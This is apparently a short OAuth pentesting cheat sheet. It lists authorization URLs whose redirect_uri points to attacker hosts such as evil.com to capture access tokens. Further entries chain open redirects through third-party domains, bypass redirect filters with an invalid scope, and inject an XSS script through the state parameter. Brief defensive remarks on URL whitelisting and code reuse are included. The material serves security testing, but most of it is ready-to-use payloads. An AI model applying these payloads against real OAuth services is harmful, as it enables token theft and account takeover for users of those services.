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Redirect to a controlled domain to get the access token
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
Redirect to an accepted Open URL in to get the access token
https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect.
Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.
The client MUST NOT use the authorization code more than once. If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
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